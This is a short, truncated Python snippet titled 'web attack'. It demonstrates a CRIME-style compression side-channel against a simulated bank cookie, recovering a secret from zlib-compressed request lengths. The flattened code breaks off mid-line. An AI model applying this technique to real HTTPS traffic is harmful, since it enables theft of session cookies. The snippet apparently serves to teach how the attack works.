web攻击

#!/usr/bin/python3import stringimport zlibimport sysimport random  charset = string.letters + string.digits  COOKIE = ''.join(random.choice(charset) for x in range(30))  HEADERS = ("POST / HTTP/1.1\r\n"           "Host: thebankserver.com\r\n"           "Connection: keep-alive\r\n"           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"           "Accept: */*\r\n"           "Referer: https://thebankserver.com/\r\n"           "Cookie: secret="+COOKIE+"\r\n"           "Accept-Encoding: gzip,deflate,sdch\r\n"           "Accept-Language: en-US,en;q=0.8\r\n"           "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"           "\r\n")BODY =    ("POST / HTTP/1.1\r\n"           "Host: thebankserver.com\r\n"           "Connection: keep-alive\r\n"           "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"           "Accept: */*\r\n"           "Referer: https://thebankserver.com/\r\n"           "Cookie: secret=")cookie = ""  def compress(data):      c = zlib.compressobj()    return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)def getposset(perchar,chars):    posset = []    baselen = len(compress(HEADERS+perchar))    for i in chars:        t = len(compress(HEADERS+ perchar+i))        if (t